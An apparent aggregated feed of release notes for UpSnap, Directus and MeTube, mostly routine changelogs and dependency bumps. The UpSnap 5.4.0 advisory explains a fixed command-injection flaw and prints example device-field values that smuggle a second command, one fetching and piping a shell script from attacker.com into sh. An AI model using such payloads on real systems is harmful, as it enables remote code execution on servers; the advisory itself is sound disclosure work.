❌

Lees weergave

5.4.0

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

New Setup Process

GHSA-w4jr-728f-5jhq

What changed

The initial setup process has been changed. Instead of a built-in multi-step wizard, UpSnap now directs you to create your first superuser account via the server console logs, which contain a one-time setup link generated by PocketBase.

Once you've created the superuser using that link, return to the UpSnap welcome page and click Done to continue.

Why this was necessary

In versions prior to 5.4.0, the setup wizard allowed anyone with network access to register the first superuser account if they reached the setup page before the legitimate administrator. This meant that on a publicly reachable instance, an attacker could take ownership of the application before the real admin had a chance to complete the setup.

By moving account creation out-of-band to the server console, only someone with access to the server logs (i.e. the administrator) can complete the initial setup.

Note

If you have sucessfully completed the initial setup in the past you are not affected.

RCE via Device IP and MAC Address Injection

GHSA-6mc7-6948-w5h4

What was the issue

UpSnap allows setting custom shell commands for waking and shutting down devices. These commands support {{ DEVICE_IP }} and {{ DEVICE_MAC }} placeholders, which are replaced with the device's actual IP and MAC values before being executed on the server.

In versions prior to 5.4.0, these values were only changed by removing spaces before being substituted into the shell command. An attacker with permission to edit a device could set a malicious IP or MAC field, for example:

IP: 127.0.0.1;curl${IFS}http://attacker.com/shell.sh|sh
MAC: 00:00:00:00:00:00&&id

When the device was woken or shut down, the injected commands would execute on the server with the same privileges as UpSnap itself.

What was fixed

  1. Backend: Before substituting {{ DEVICE_IP }} and {{ DEVICE_MAC }} into any shell command, UpSnap additionally validates both values using Go's standard net.ParseIP and net.ParseMAC. If a value somehow reaches this point in an invalid state, the command is rejected and an error is returned instead of executing.

  2. Database: A new migration adds regex constraints to the ip and mac fields in the PocketBase schema (^((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}$ for IP, ^([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})$ for MAC). Any write that bypasses the UI is rejected at the database level.

  3. HTML input: The IP and MAC fields in the device form now have pattern attributes that enforce valid formats directly in the browser, preventing malformed values from being submitted in the first place.

Who is affected

Any instance where untrusted users had permission to create or edit devices. Users who are the sole administrator of their own instance and have not shared device-edit access are at lower risk.

Changelog

Bug fixes

Others

  •  

5.3.5

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

  •  

5.3.4

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

  •  

v11.17.4

✨ New Features & Improvements

  • @directus/app
    • Updated the token field on the user detail page to require confirmation before regenerating or removing a token, and saved those changes immediately without requiring a page-level save. (#27108 by @LZylstra)
  • @directus/api
    • Added opt-in must-revalidate and ETag headers for assets via ASSETS_CACHE_REVALIDATE env var (#27027 by @gaetansenn)
    • Added a force option to schema apply to bypass hash check (#27136 by @Nitwel)
  • @directus/env
    • Added opt-in must-revalidate and ETag headers for assets via ASSETS_CACHE_REVALIDATE env var (#27027 by @gaetansenn)
  • @directus/sdk
    • Added a force option to schema apply to bypass hash check (#27136 by @Nitwel)

πŸ› Bug Fixes & Optimizations

  • @directus/app
    • Fixed UI freeze when navigating items with WYSIWYG translations for non-admin users (#27154 by @gaetansenn)
    • Fixed selection not being cleared after running a manual flow from the collection list view sidebar (#27330 by @kropsi)
    • Fixed "Save as copy" in the file library throwing a 403 Forbidden error (#27181 by @sanskar-soni-9)
    • Fixed user token not being displayed after generation when collaboration is enabled (#27319 by @LZylstra)
    • Prevented filter popup being closed when reordering filters (#27324 by @HZooly)
    • Fixed icon flash in navigation sidebar for bookmarks without an icon (#27329 by @HZooly)
    • Migrated @directus/visual-editing into the monorepo (#27157 by @formfcw)
  • @directus/api
  • @directus/types
    • Added a force option to schema apply to bypass hash check (#27136 by @Nitwel)
  • @directus/visual-editing
    • Migrated @directus/visual-editing into the monorepo (#27157 by @formfcw)
    • Fixed the edit handler firing twice when clicking an overlay button directly (#27157 by @formfcw)
  • @directus/utils
    • Migrated @directus/visual-editing into the monorepo (#27157 by @formfcw)
  • @directus/sdk
  • @directus/composables

πŸ“¦ Published Versions

  • @directus/app@15.10.0
  • @directus/api@35.2.0
  • @directus/composables@11.4.1
  • create-directus-extension@11.0.36
  • @directus/env@5.8.0
  • @directus/extensions@3.0.25
  • @directus/extensions-registry@3.0.26
  • @directus/extensions-sdk@17.1.4
  • @directus/memory@3.1.8
  • @directus/pressure@3.0.22
  • @directus/schema-builder@0.0.20
  • @directus/storage-driver-azure@12.0.22
  • @directus/storage-driver-cloudinary@12.0.22
  • @directus/storage-driver-gcs@12.0.22
  • @directus/storage-driver-s3@12.1.8
  • @directus/storage-driver-supabase@3.0.22
  • @directus/themes@1.3.3
  • @directus/types@15.0.3
  • @directus/utils@13.4.1
  • @directus/validation@2.0.23
  • @directus/visual-editing@2.0.1
  • @directus/sdk@21.3.0
  • @directus/sandbox@0.0.0

  •  

Release 2026.04.28

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.28

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.28

Changes

  • allow filtering out members-only videos in subscriptions (closes #971) (5d96a58)

  •  

5.3.3

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Others

Github Actions

  •  

Release 2026.04.26

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.26

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.26

Changes

  • implement time-clipped downloads (closes #969, replaces #907) (4f83174)
  • title filter for subscriptions (closes #968) (91ee831)
  • Bump aquasecurity/trivy-action in the github-actions group (d89a5dd)

  •  

Release 2026.04.21

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.21

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.21

Changes

  •  

Release 2026.04.18

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.18

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.18

Changes

  •  

Release 2026.04.16

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.16

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.16

Changes

  • upgrade dependencies (ab42325)
  • fix PUBLIC_HOST_URL without a trailing slash (closes #959) (1a32eba)
  • don't run workflow on README changes (29ccc42)
  • add more CORS details (f2d71cb)

  •  

Release 2026.04.13

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.13

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.13

Changes

  • fix asterisk CORS_ALLOWED_ORIGINS, mentioned in #955 (03f71fd)

  •  

Release 2026.04.12

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.12

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.12

Changes

  • fix pnpm build (210c607)
  • Bump softprops/action-gh-release from 2 to 3 in the github-actions group (3818969)
  • fix yt-dlp options examples (4330d3b)
  • update documentation (06c4a2c)

  •  

Release 2026.04.10

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.10

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.10

Changes

  • document CORS_ALLOWED_ORIGINS variable (aa60420)
  • Don't mark live streams as seen (a6e8617)
  • Fix permissive CORS policy that allows cross-origin attacks (0072d34)

  •  

Release 2026.04.09

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.09

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.09

Changes

  • upgrade dependencies (0b3645a)
  • fix: handle playlists that don't supply video ids (d38d7bd)
  • Bump astral-sh/setup-uv from 6 to 7 in the github-actions group (b7709d3)

  •  

Release 2026.04.05

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.05

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.05

Changes

  • fix: parse string boolean values when updating subscriptions (373692a)
  • explain yt-dlp configuration in detail (54680c4)

  •  

Release 2026.04.04

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.04

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.04

Changes

  • change option presets to be multi-select (dd0f98d)

  •  

Release 2026.04.03

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.03

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.03

Changes

  • finalize custom options (closes #563, #482, #261, #681) (d41bdf6)
  • Keep override controls on dedicated row (a02abf5)
  • Fix frontend test typing for override flag (b16e597)
  • Gate manual yt-dlp overrides behind flag (6e9b2dd)
  • feat: add per-download yt-dlp presets and overrides (565a715)

  •  

Release 2026.04.02

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.02

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.02

Changes

  • update README (0cba61c)
  • Add clarifying comments for n_entries and __last_playlist_index fields (closes #692) (d7eaaaa)
  • Use PORT env variable in Dockerfile HEALTHCHECK instead of hardcoded 8081 (771ba52)
  • Initial plan (1cc27d3)
  • Propagate missing playlist context fields (playlist_count, playlist_autonumber, n_entries, __last_playlist_index) (981e6c1)
  • Add explanatory comment for fake STR_FORMAT_RE_TMPL key group in tests (b17e1e5)
  • Replace custom template substitution with yt-dlp's evaluate_outtmpl (c1b5540)

  •  

Release 2026.04.01

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.04.01

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.04.01

Changes

  •  

Release 2026.03.21

Docker Images

Docker images have been built and pushed:

Docker Hub:

  • alexta69/metube:latest
  • alexta69/metube:2026.03.21

GitHub Container Registry:

  • ghcr.io/alexta69/metube:latest
  • ghcr.io/alexta69/metube:2026.03.21

Changes

  •  

v11.17.3

✨ New Features & Improvements

  • @directus/app
    • Replaced "All Users" tab with Active, Suspended, and Invited status tabs (#27036 by @robluton)
    • Added Save as New File option to image editor (#27084 by @JamesW1)
  • @directus/api
    • Added a new /ai/object endpoint to generate structured objects for autocomplete and other inline experiences (#26862 by @bryantgillespie)
  • @directus/composables
    • Eliminated redundant count requests in the useItems composable (#26906 by @okxint)

πŸ› Bug Fixes & Optimizations

  • @directus/app
    • Fixed export failing on collections with virtual fields like $thumbnail by excluding them from export defaults and the field picker (#27073 by @om-singh-D)
    • Added customizing of cache keys for flow endpoints. (#26935 by @costajohnt)
    • Fix "Use named routes instead of hardcoded path strings #26733" (#26809 by @powerseed)
    • Fixed VBadge intercepting pointer events on slotted elements (#27087 by @HZooly)
    • Fixed comparison modal footer responsive breakpoint (#27061 by @robluton)
    • Updated liquidjs, axios, vite, nodemailer, brace-expansion, basic-ftp, hono, fast-xml-parser, tar, (#27081 by @br41nslug)
      qs and defu dependencies
  • @directus/api
    • Added customizing of cache keys for flow endpoints. (#26935 by @costajohnt)
    • Updated liquidjs, axios, vite, nodemailer, brace-expansion, basic-ftp, hono, fast-xml-parser, tar, (#27081 by @br41nslug)
      qs and defu dependencies
    • Fixed schema introspection for MSSQL text fields with max length of -1 to be normalized to null (#26934 by @begsaquib)
    • Trimmed leading and trailing spaces from search queries (#27089 by @robluton)
    • Fixed promotion of deleted relation returning invalid date time value error (#27040 by @gaetansenn)
    • Fixed api building with a node_modules folder (#27067 by @Nitwel)
    • Fixed MARKETPLACE_REGISTRY env not being passed to registry list call when generating extension settings (#27076 by @gaetansenn)
    • Replaced INTERNAL_SERVER_ERROR with SERVICE_UNAVAILABLE for marketplace registry errors and improved error messages. (#26937 by @eric-pennecot)
  • @directus/schema
    • Fixed schema introspection for MSSQL text fields with max length of -1 to be normalized to null (#26934 by @begsaquib)
  • @directus/themes
    • Fixed api building with a node_modules folder (#27067 by @Nitwel)
  • @directus/types
    • Fixed api building with a node_modules folder (#27067 by @Nitwel)

πŸ“¦ Published Versions

  • @directus/app@15.9.0
  • @directus/api@35.1.0
  • @directus/composables@11.4.0
  • create-directus-extension@11.0.35
  • @directus/extensions@3.0.24
  • @directus/extensions-registry@3.0.25
  • @directus/extensions-sdk@17.1.3
  • @directus/schema@13.0.8
  • @directus/schema-builder@0.0.19
  • @directus/themes@1.3.2
  • @directus/types@15.0.2

  •  

v11.17.2

✨ New Features & Improvements

  • @directus/app
    • Moved useShortcut and translateShortcut in @directus/composables (#26979 by @HZooly)
    • added timezone support to datetime display (#26184 by @u12206050)
    • Added comparison modal checkbox to allow viewing only modified fields (#27010 by @robluton)
  • @directus/composables
    • Moved useShortcut and translateShortcut in @directus/composables (#26979 by @HZooly)

πŸ› Bug Fixes & Optimizations

  • @directus/app
    • Fixed alias fields being included when selecting all fields in export (#26775 by @tysoncung)
    • Fixed invite acceptance error to display correctly on the frontend and allow for error translation (#26971 by @faizkhairi)
    • Fixed relational field removals inside groups not persisting on draft items (#26917 by @HZooly)
    • Fixed search input not closing when focus changes on keyboard navigation (#26970 by @Zhey-on)
  • @directus/api
    • Fixed invite acceptance error to display correctly on the frontend and allow for error translation (#26971 by @faizkhairi)
    • Updated lodash, samlify and @xmldom/xmldom dependencies and add defu override (#27033 by @br41nslug)
    • Fixed coercion of stringified JSON in AI assistant tool arguments (#27005 by @bryantgillespie)
    • Added cleanup handlers for disconnected file streams (#26992 by @Champ-Goblem)
  • @directus/errors
    • Fixed invite acceptance error to display correctly on the frontend and allow for error translation (#26971 by @faizkhairi)

πŸ“¦ Published Versions

  • @directus/app@15.8.0
  • @directus/api@35.0.2
  • @directus/composables@11.3.0
  • create-directus-extension@11.0.34
  • @directus/errors@2.3.1
  • @directus/extensions-registry@3.0.24
  • @directus/extensions-sdk@17.1.2
  • @directus/memory@3.1.7
  • @directus/validation@2.0.22

  •  

5.3.2

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

  •  

v11.17.1

✨ New Features & Improvements

  • @directus/app
    • Added keyboard navigation to the cards layout (#26976 by @HZooly)
    • Added native Tabs group interface. Uninstall the extension if currently using it to avoid unintended side effects. (#26836 by @bryantgillespie)
    • Added bulk folder deletion from the files grid with move-up or delete-all options (#26886 by @HZooly)
    • Used shorter tooltip delay for disabled elements (#26965 by @HZooly)
  • @directus/utils
    • Added parseNow utility to resolve the $NOW dynamic variable (#26954 by @costajohnt)

πŸ› Bug Fixes & Optimizations

  • @directus/app
    • Fixed calendar picker crash when using dynamic variables (e.g. $NOW) (#26954 by @costajohnt)
    • Updated relationship_not_setup wording to clarify it may also result from missing permissions (#26918 by @Ikromjon1998)
    • Restored useItem support for custom query options like fields and deep by adding an optional extra query parameter and updating affected call sites. (#26985 by @LZylstra)
  • @directus/api
  • @directus/utils
    • Fixed calendar picker crash when using dynamic variables (e.g. $NOW) (#26954 by @costajohnt)
  • @directus/schema
    • Fixed MySQL foreignKeys query to include TABLE_NAME in the JOIN condition, preventing a cartesian product when InnoDB statistics on system tables are degraded. (#26964 by @HattoriEnzo)
  • @directus/sdk
    • Fixed filter operator typing for date and time fields to support comparison and range operators. (#26957 by @costajohnt)

πŸ“¦ Published Versions

  • @directus/app@15.7.0
  • @directus/api@35.0.1
  • @directus/composables@11.2.17
  • create-directus-extension@11.0.33
  • @directus/env@5.7.1
  • @directus/extensions@3.0.23
  • @directus/extensions-registry@3.0.23
  • @directus/extensions-sdk@17.1.1
  • @directus/memory@3.1.6
  • @directus/pressure@3.0.21
  • @directus/schema@13.0.7
  • @directus/schema-builder@0.0.18
  • @directus/storage-driver-azure@12.0.21
  • @directus/storage-driver-cloudinary@12.0.21
  • @directus/storage-driver-gcs@12.0.21
  • @directus/storage-driver-s3@12.1.7
  • @directus/storage-driver-supabase@3.0.21
  • @directus/themes@1.3.1
  • @directus/types@15.0.1
  • @directus/utils@13.4.0
  • @directus/validation@2.0.21
  • @directus/sdk@21.2.2

  •  

v11.17.0

⚠️ Potential Breaking Changes

Added support for importing data in the background (#26914)
Imports now automatically time out after 1 hour, with a maximum of 20 running concurrently. These limits can be configured via IMPORT_TIMEOUT and IMPORT_MAX_CONCURRENCY, respectively.

Improved build times using tsdown’s oxc-transform (#26604)
Exports previously available from @directus/types/collab are now exported directly from @directus/types

Shrunk app UI to 90% and converted all px to rem (16px browser default) (#26826)
Potential breaking change: The app UI has been shrunk to 90% of its previous size. Extensions that rely on hardcoded px values or the old 14px root font-size may render incorrectly β€” all app sizing now uses rem based on the 16px browser default.

  • @directus/api
    • Added support for importing data in the background (#26914 by @Nitwel)
  • @directus/types
    • Improved build times using tsdown’s oxc-transform (#26604 by @Nitwel)
  • @directus/specs
    • Updated fast-xml-parser, qs, minimatch, tar, undici, vue-split-panel and flatted dependencies (#26951 by @br41nslug)

✨ New Features & Improvements

  • @directus/app
    • Added support for importing data in the background (#26914 by @Nitwel)
    • Added utility endpoint and UI to generate translations collections and fields. (#26742 by @bryantgillespie)
    • Added deployment provider link on the run detail page, opening deployments directly in Vercel or Netlify dashboards. (#26888 by @LZylstra)
    • Shrunk app UI to 90% and converted all px to rem (16px browser default) (#26826 by @formfcw)
  • @directus/api
    • Added tool search tool for Anthropic AI provider to reduce context usage (#26864 by @bryantgillespie)
    • Added support for setting the secure attribute on OpenID/OAuth2 cookies via the AUTH_<PROVIDER>_COOKIE_SECURE environment variable (#26628 by @dstockton)
    • Updated FilesService.uploadOne to support an optional storage parameter (#26882 by @gaetansenn)
    • Added AI SDK Devtools middleware support for debugging AI Assistant in development only. Added AI telemetry provider (#26678 by @bryantgillespie)
      config for Braintrust and Langfuse, enabling sending traces for observability, usage, and token costs.
    • Added utility endpoint and UI to generate translations collections and fields. (#26742 by @bryantgillespie)
    • Added support for Redis namespace control (#26943 by @dstockton)
  • @directus/errors
    • Added support for importing data in the background (#26914 by @Nitwel)
  • @directus/env
  • @directus/system-data
  • @directus/constants
  • @directus/extensions-sdk
    • Shrunk app UI to 90% and converted all px to rem (16px browser default) (#26826 by @formfcw)
  • @directus/themes
    • Shrunk app UI to 90% and converted all px to rem (16px browser default) (#26826 by @formfcw)

πŸ› Bug Fixes & Optimizations

  • @directus/app
    • Fix file renaming (#26946 by @br41nslug)
    • Updated @directus/tsconfig dependency from 3.0.0 to 4.0.0 (#26879 by @AlexGaillard)
    • Fixed filtering out preRegisterCheck === false modules from settings module bar config (#26953 by @AlexGaillard)
    • Prevented uncaught exception when v-menu has no tabbable elements (#26922 by @robluton)
    • Fixed a bug where global draft updates failed for singleton collections (#26910 by @formfcw)
    • Refactored "Clear value(s) on save when hidden" condition so it's applied inside a drawer (#26925 by @AlexGaillard)
    • Added functionality to duplicate access policies (#26889 by @robluton)
    • Reduced width of split panel resize handle to prevent scrollbar interference (#26908 by @robluton)
    • Updated Vite to version 8.0.0 (#26887 by @Nitwel)
    • Corrected field editability for conditional update policies and version items (#26815 by @HZooly)
    • Fixed date picker not emitting value after month/year change. (#26880 by @powerseed)
    • Fixed inconsistent dropdown arrows in visual editor header bar (#26904 by @formfcw)
  • @directus/api
  • @directus/types
  • @directus/env
    • Fix file renaming (#26946 by @br41nslug)
    • Updated @directus/tsconfig dependency from 3.0.0 to 4.0.0 (#26879 by @AlexGaillard)
    • Added support for setting the secure attribute on OpenID/OAuth2 cookies via the AUTH_<PROVIDER>_COOKIE_SECURE environment variable (#26628 by @dstockton)
    • Added AI SDK Devtools middleware support for debugging AI Assistant in development only. Added AI telemetry provider (#26678 by @bryantgillespie)
      config for Braintrust and Langfuse, enabling sending traces for observability, usage, and token costs.
    • Added cross origin opener policy settings (#26947 by @br41nslug)
  • @directus/ai
  • @directus/composables
  • @directus/constants
  • @directus/errors
  • @directus/extensions
  • @directus/extensions-registry
  • @directus/extensions-sdk
  • @directus/format-title
  • @directus/memory
  • @directus/pressure
  • @directus/release-notes-generator
  • @directus/schema
  • @directus/schema-builder
  • @directus/storage
  • @directus/storage-driver-azure
  • @directus/storage-driver-cloudinary
  • @directus/storage-driver-gcs
  • @directus/storage-driver-local
  • @directus/storage-driver-s3
  • @directus/storage-driver-supabase
  • @directus/stores
  • @directus/system-data
  • @directus/themes
  • @directus/update-check
  • @directus/utils
  • @directus/validation
  • @directus/sdk

πŸ“¦ Published Versions

  • @directus/app@15.6.0
  • @directus/api@35.0.0
  • @directus/ai@1.3.1
  • @directus/composables@11.2.16
  • @directus/constants@14.3.0
  • create-directus-extension@11.0.32
  • @directus/env@5.7.0
  • @directus/errors@2.3.0
  • @directus/extensions@3.0.22
  • @directus/extensions-registry@3.0.22
  • @directus/extensions-sdk@17.1.0
  • @directus/format-title@12.1.2
  • @directus/memory@3.1.5
  • @directus/pressure@3.0.20
  • @directus/release-notes-generator@2.0.4
  • @directus/schema@13.0.6
  • @directus/schema-builder@0.0.17
  • @directus/specs@13.0.0
  • @directus/storage@12.0.4
  • @directus/storage-driver-azure@12.0.20
  • @directus/storage-driver-cloudinary@12.0.20
  • @directus/storage-driver-gcs@12.0.20
  • @directus/storage-driver-local@12.0.4
  • @directus/storage-driver-s3@12.1.6
  • @directus/storage-driver-supabase@3.0.20
  • @directus/stores@2.0.1
  • @directus/system-data@4.4.0
  • @directus/themes@1.3.0
  • @directus/types@15.0.0
  • @directus/update-check@13.0.5
  • @directus/utils@13.3.2
  • @directus/validation@2.0.20
  • @directus/sdk@21.2.1

  •  

5.3.2-beta.0

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

  •  

5.3.1

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Npm dependencies

  • 4c03494: npm-dep: bump @inlang/paraglide-js from 2.15.0 to 2.15.1 in /frontend (@dependabot[bot])

  •  

5.3.0

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Go dependencies

Npm dependencies

  • be94f35: npm-dep: bump @eslint/js from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 84a362a: npm-dep: bump @eslint/js from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 9f00286: npm-dep: bump @inlang/cli from 3.1.6 to 3.1.7 in /frontend (@dependabot[bot])
  • 91eab52: npm-dep: bump @inlang/paraglide-js from 2.11.0 to 2.12.0 in /frontend (@dependabot[bot])
  • 06b4626: npm-dep: bump @inlang/paraglide-js from 2.12.0 to 2.13.0 in /frontend (@dependabot[bot])
  • 969ded6: npm-dep: bump @inlang/paraglide-js from 2.13.0 to 2.13.1 in /frontend (@dependabot[bot])
  • f794681: npm-dep: bump @inlang/paraglide-js from 2.13.1 to 2.13.2 in /frontend (@dependabot[bot])
  • 0acba76: npm-dep: bump @inlang/paraglide-js from 2.13.2 to 2.14.0 in /frontend (@dependabot[bot])
  • 5c5b908: npm-dep: bump @inlang/paraglide-js from 2.14.0 to 2.15.0 in /frontend (@dependabot[bot])
  • e4ab3c3: npm-dep: bump @sveltejs/kit from 2.51.0 to 2.52.0 in /frontend (@dependabot[bot])
  • 0bead88: npm-dep: bump @sveltejs/kit from 2.52.0 to 2.52.2 in /frontend (@dependabot[bot])
  • 1e168d4: npm-dep: bump @sveltejs/kit from 2.52.2 to 2.53.0 in /frontend (@dependabot[bot])
  • ad36a40: npm-dep: bump @sveltejs/kit from 2.53.0 to 2.53.1 in /frontend (@dependabot[bot])
  • ebd3e01: npm-dep: bump @sveltejs/kit from 2.53.1 to 2.53.3 in /frontend (@dependabot[bot])
  • c57adf8: npm-dep: bump @sveltejs/kit from 2.53.3 to 2.53.4 in /frontend (@dependabot[bot])
  • e09b968: npm-dep: bump @sveltejs/kit from 2.53.4 to 2.54.0 in /frontend (@dependabot[bot])
  • b39857b: npm-dep: bump @sveltejs/kit from 2.54.0 to 2.55.0 in /frontend (@dependabot[bot])
  • 01dcca3: npm-dep: bump @tailwindcss/postcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • 81e252b: npm-dep: bump @tailwindcss/postcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • d6604b2: npm-dep: bump @tailwindcss/postcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • 835f5b9: npm-dep: bump daisyui from 5.5.18 to 5.5.19 in /frontend (@dependabot[bot])
  • a2d6d73: npm-dep: bump eslint from 9.39.2 to 9.39.3 in /frontend (@dependabot[bot])
  • 3bf1ba5: npm-dep: bump eslint from 9.39.3 to 9.39.4 in /frontend (@dependabot[bot])
  • 29c99ed: npm-dep: bump eslint-plugin-svelte from 3.15.0 to 3.15.1 in /frontend (@dependabot[bot])
  • faeed49: npm-dep: bump eslint-plugin-svelte from 3.15.1 to 3.15.2 in /frontend (@dependabot[bot])
  • e6d2992: npm-dep: bump postcss from 8.5.6 to 8.5.8 in /frontend (@dependabot[bot])
  • cea0136: npm-dep: bump prettier-plugin-svelte from 3.4.1 to 3.5.0 in /frontend (@dependabot[bot])
  • b09510f: npm-dep: bump prettier-plugin-svelte from 3.5.0 to 3.5.1 in /frontend (@dependabot[bot])
  • 28ef84d: npm-dep: bump svelte from 5.50.3 to 5.51.2 in /frontend (@dependabot[bot])
  • 58136f2: npm-dep: bump svelte from 5.51.2 to 5.51.3 in /frontend (@dependabot[bot])
  • 0b7c4a6: npm-dep: bump svelte from 5.51.3 to 5.53.0 in /frontend (@dependabot[bot])
  • d99d19b: npm-dep: bump svelte from 5.53.0 to 5.53.3 in /frontend (@dependabot[bot])
  • 88d333d: npm-dep: bump svelte from 5.53.10 to 5.53.11 in /frontend (@dependabot[bot])
  • ed83590: npm-dep: bump svelte from 5.53.11 to 5.53.12 in /frontend (@dependabot[bot])
  • 2e69ba9: npm-dep: bump svelte from 5.53.12 to 5.54.0 in /frontend (@dependabot[bot])
  • 4f1ec6c: npm-dep: bump svelte from 5.53.3 to 5.53.5 in /frontend (@dependabot[bot])
  • d6300e8: npm-dep: bump svelte from 5.53.5 to 5.53.6 in /frontend (@dependabot[bot])
  • 07d7bec: npm-dep: bump svelte from 5.53.6 to 5.53.7 in /frontend (@dependabot[bot])
  • 78068c1: npm-dep: bump svelte from 5.53.7 to 5.53.9 in /frontend (@dependabot[bot])
  • 1273d1b: npm-dep: bump svelte from 5.53.9 to 5.53.10 in /frontend (@dependabot[bot])
  • f299c9d: npm-dep: bump svelte-check from 4.3.6 to 4.4.0 in /frontend (@dependabot[bot])
  • 6819248: npm-dep: bump svelte-check from 4.4.0 to 4.4.1 in /frontend (@dependabot[bot])
  • 2d55e9f: npm-dep: bump svelte-check from 4.4.1 to 4.4.3 in /frontend (@dependabot[bot])
  • 13a06a5: npm-dep: bump svelte-check from 4.4.3 to 4.4.4 in /frontend (@dependabot[bot])
  • cddad0f: npm-dep: bump svelte-check from 4.4.4 to 4.4.5 in /frontend (@dependabot[bot])
  • 745094b: npm-dep: bump tailwindcss from 4.1.18 to 4.2.0 in /frontend (@dependabot[bot])
  • db528a9: npm-dep: bump tailwindcss from 4.2.0 to 4.2.1 in /frontend (@dependabot[bot])
  • 611c4d2: npm-dep: bump tailwindcss from 4.2.1 to 4.2.2 in /frontend (@dependabot[bot])
  • e997211: npm-dep: bump typescript-eslint from 8.55.0 to 8.56.0 in /frontend (@dependabot[bot])
  • 7498a69: npm-dep: bump typescript-eslint from 8.56.0 to 8.56.1 in /frontend (@dependabot[bot])
  • 0766482: npm-dep: bump typescript-eslint from 8.56.1 to 8.57.0 in /frontend (@dependabot[bot])
  • 52f00c4: npm-dep: bump typescript-eslint from 8.57.0 to 8.57.1 in /frontend (@dependabot[bot])

Github Actions

  •  

5.3.0-beta.0

Note

UpSnap is, and always will be, free and open source software.

If someone is asking you to pay money for access to UpSnap binaries, source code, or licenses, you are being scammed.

The official and only trusted source for UpSnap is this repository (and its linked releases).
Do not pay third parties for something that is provided here for free.

Changelog

Bug fixes

Others

Go dependencies

Npm dependencies

